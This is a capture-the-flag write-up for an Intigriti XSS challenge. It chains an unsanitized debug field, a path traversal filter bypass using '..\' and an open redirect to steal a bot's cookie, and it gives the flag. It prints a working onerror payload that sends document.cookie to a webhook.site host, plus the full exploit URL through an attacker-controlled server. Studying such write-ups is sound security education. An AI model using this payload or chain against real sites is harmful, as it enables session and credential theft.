Challenge: https://challenge-0824.intigriti.io
Flag: INTIGRITI{1337uplivectf_151124_54v3_7h3_d473}
The project is a note taking app where it is possible to create, view and report notes after logging in. There is also a contact page. We have the source for this challenge and there we can see that there is a bot which saves the flag in the cookie and visits the reported url. This tells me that it's a XSS challenge.
The content of the note created is sanitized by DOMPurify. But looking further in the function fetchNoteById
there is a check for data.debug
, if it's true the content of it is rendered without sanitization as html. No endpoint in the backend returns the content of debug so how can we set it to true?
Firstly the format of the URL for reporting must be like this: http://challenge-0824.intigriti.io/view?note=12345678-abcd-1234-5678-abc123def456
.
There is an open redirect in the /contact
endpoint in the backend:
@main.route('/contact', methods=['GET', 'POST'])
def contact():
form = ContactForm()
return_url = request.args.get('return')
if request.method == 'POST':
if form.validate_on_submit():
flash('Thank you for your message!', 'success')
if return_url and is_safe_url(return_url):
return redirect(return_url)
return redirect(url_for('main.home'))
if return_url and is_safe_url(return_url):
return redirect(return_url)
return render_template('contact.html', form=form, return_url=return_url)
It's possible to call that endpoint because of the below piece of code in fetchNoteById
which contains a path traversal vulnerability:
if (noteId.includes("../")) {
showFlashMessage("Input not allowed!", "danger");
return;
}
fetch("/api/notes/fetch/" + decodeURIComponent(noteId), {
method: "GET",
headers: {
"X-CSRFToken": csrf_token,
},
})
The path traversal check can be bypassed with ..\
. So by utilizing the open redirect in the /contact
endpoint we can make a request to our own server that will return the following JSON payload:
{"debug":"<img src=x onerror=fetch(\"https://webhook.site/21c67e5e-46e8-4879-b041-e8fdb30c020a?c=\"+document.cookie)>"}
.
The value of debug is rendered without sanitization and then a request is made with the cookie that contains the flag to our server. Lastly don't forget to set the HTTP Response Headers Access-Control-Allow-Origin: *
and Access-Control-Allow-Headers: x-csrftoken
The final valid URL for reporting becomes this:
https://challenge-0824.intigriti.io/view?note=..\..\..\contact?return=https://ycvm4yz3.requestrepo.com/12345678-abcd-1234-5678-abc123def456
.